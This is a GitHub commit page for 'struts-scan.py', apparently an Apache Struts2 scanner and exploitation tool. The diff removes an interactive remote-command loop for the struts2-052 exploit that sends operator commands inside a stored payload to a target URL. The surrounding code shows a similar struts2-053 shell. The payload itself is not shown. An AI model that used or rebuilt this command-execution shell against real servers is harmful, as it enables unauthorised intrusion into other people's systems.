Skip to content

Commit

Permalink
change
Browse files Browse the repository at this point in the history
  • Loading branch information
Lucifer1993 committed Oct 23, 2017
1 parent 0754921 commit 67c3113
Showing 1 changed file with 0 additions and 21 deletions.
21 changes: 0 additions & 21 deletions struts-scan.py
Original file line number Diff line number Diff line change
Expand Up @@ -407,27 +407,6 @@ def inShell(self, pocname):
else:
sys.exit(1)

if pocname == "struts2-052":
while True:
print prompt,
command = raw_input()
command = command.strip()
if command != "exit":
try:
req = requests.post(self.url, data=self.shell['struts2-052'].replace("FUZZINGCOMMAND", command), headers=headers_052, timeout=6, verify=False)
print req.text
#sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#sock.connect((host, int(port)))
#sock.send(command)
#res = sock.recv(65535)
#print res
#sock.close()

except:
cprint("命令执行失败!!!", "red")
else:
sys.exit(1)

if pocname == "struts2-053":
param = raw_input("请指定struts2-053参数: ")
while True:
Expand Down

0 comments on commit 67c3113

Please sign in to comment.